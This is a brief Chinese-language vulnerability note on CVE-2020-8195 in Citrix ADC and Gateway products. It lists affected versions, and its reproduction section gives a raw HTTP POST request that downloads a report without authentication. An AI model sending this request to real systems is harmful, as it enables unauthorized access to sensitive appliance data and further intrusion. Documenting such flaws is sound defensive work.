（CVE-2020-8195）Citrix 未授权访问漏洞

一、漏洞简介

Citrix ADC和Citrix NetScaler Gateway存在一个信息泄露漏洞，该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求，攻击者可以利用此漏洞获取敏感信息，然后使用此信息对受影响的系统发起进一步的攻击。

二、漏洞影响

Citrix ADC and Citrix Gateway: \< 13.0-58.30

Citrix ADC and NetScaler Gateway: \< 12.1-57.18

Citrix ADC and NetScaler Gateway: \< 12.0-63.21

Citrix ADC and NetScaler Gateway: \< 11.1-64.14 

NetScaler ADC and NetScaler Gateway: \< 10.5-70.18

Citrix SD-WAN WANOP: \< 11.1.1a

Citrix SD-WAN WANOP: \< 11.0.3d

Citrix SD-WAN WANOP: \< 10.2.7

Citrix Gateway Plug-in for Linux: \<  1.0.0.137

三、复现过程

Citrix 默认签名处允许使用以下HTTP请求下载报告而无需进行身份验证

POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

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